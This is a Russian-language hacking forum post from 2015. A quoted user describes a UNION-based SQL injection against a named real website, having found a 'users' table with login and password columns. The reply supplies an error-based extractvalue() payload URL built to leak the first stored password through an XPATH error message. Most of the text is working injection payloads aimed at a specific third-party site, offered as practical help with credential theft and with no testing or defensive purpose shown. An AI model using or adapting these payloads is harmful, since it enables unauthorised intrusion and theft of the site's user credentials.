Показать сообщение отдельно

  #4  
Старый 13.06.2015, 23:22
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
Сообщение от semen6192  

Ето мы только что увидили какая версия БД используется?(XPATH syntax error: ':5.5.38')
И скинь мануал плз если есть на "ерор-базед", а то здесь нет:
https://rdot.org/forum/showthread.php?t=124
И только что увидел вот:
http://worldwidestudies.org/ua/step/item/id/9999999
UNION SELECT 1,2,3,4,5,6,7 FROM users --
Нашел что есть таблица с именем "users".
И нашел что есть столбцы(login,password):
http://worldwidestudies.org/ua/step/item/id/9999999 UNION SELECT login,2,3,4,5,6,7 FROM users --
и вместо "login" можно еще постовить "password" и не выдает ошибки, но ошибки выдает когда пытаюсь вывести ето все на екран, вот таким образом:
http://worldwidestudies.org/ua/step/item/id/9999999 UNION SELECT login,2,3,4,5,6,7 FROM users LIMIT 0,1 --

И на етом етапе застрял...

Код:
http://worldwidestudies.org/ua/step/item/id/1+and(extractvalue(1,concat(0x3a,(select%20password%20from%20users%20limit%200,1))))
статей нет. тут вся суть в векторе и запросе, который вам нужен.
 
Ответить с цитированием